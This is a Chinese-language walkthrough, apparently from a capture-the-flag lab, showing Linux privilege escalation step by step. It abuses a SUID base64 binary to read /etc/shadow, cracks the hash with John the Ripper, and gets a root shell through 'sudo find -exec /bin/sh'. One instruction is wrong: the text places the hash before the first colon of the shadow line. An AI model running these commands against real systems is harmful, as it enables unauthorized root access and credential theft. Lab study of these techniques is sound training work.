前置条件:只讨论怎么从普通权限提升到root权限,即已经获得一个shell,也就是普通用户的权限,可能是通过ssh,或者是通过shell。

在连接上SSH后,可以通过 cat /proc/version 来查看有关内核版本的信息以及其他数据,例如是否安装了编译器(例如 GCC)。如上图,可见gcc版本为4.8.5,可知后期可以利用gcc来对c文件进行编译提权,比如写入suid或guid。
可以通过其他命令来查看其他操作,比如history尝试看看有没有暴露账户、口令等。
以下命令和目的:
1、uname -a :打印系统信息,特别是内核信息,可以判断是否有提权漏洞。
2、hostname:查看主机名,可能能判断出主机用途。
3、ps:查看正在运行的进程
ps -A:所有正在运行的进程
ps axjf:查看进程树
4、env:显示环境变量,可能发现类似python的环境,这样有利于判断是否能通过脚本来便利测试,如通过python稳定shell等。
5、sudo -l:查看允许用户以root权限运行的命令(参考之前文章)
6、netstat:查看服务以及端口:
netstat -a:显示所有监听端口和已经建立的连接
netstat -at 或 -au :分别列出TCP、UDP协议
netstat -l:列出处于“监听”模式的端口
netstat -ano:显示所有socket、不解析名称、显示定时器
开始:
ssh连接后继续输入命令查看能利用的信息:find / -type f -perm -04000 -ls 2>/dev/null
查看设置了suid、sgid的文件。发现base64可以利用,应该到GTFOBins ( https://gtfobins.github.io )这个网站中去找base64相关能够利用的条件以及代码。


上图是可以利用的base64的相关二进制代码。注意到有文件读取的功能,利用这段代码去尝试读取敏感文件。
LFILE=file_to_read
base64 "$LFILE" | base64 --decode

要利用上述条件,需要定位文件的位置,通过find语句去查找flag存在的地址:
find -name flag*.txt ,从下图可以看出没找到,那么手动去搜一搜可能存在的目录。

如下图,返回home目录发现俩路径都进不出去

LFILE=/etc/shadow
base64 "$LFILE" | base64 --decode
输入上面两条命令读取missy的口令,用复制它的hash(第一个冒号前)并用John The Ripper工具破解
输入:sudo john --wordlist=rockyou.txt的地址 要破解的txt
进行破解(工具在攻击机上)如下图:密码为Password1

在目标主机使用missy登录,su missy即可
用同样的方法尝试爆破root的口令失败了。那么应该用另外的方式进行破解,试试各种提权向量吧
通过missy账号的sudo -l ,看出missy可以不需要密码以root身份使用find命令,在网站中找到利用的命令,输入即可提权
sudo find . -exec /bin/sh \; -quit
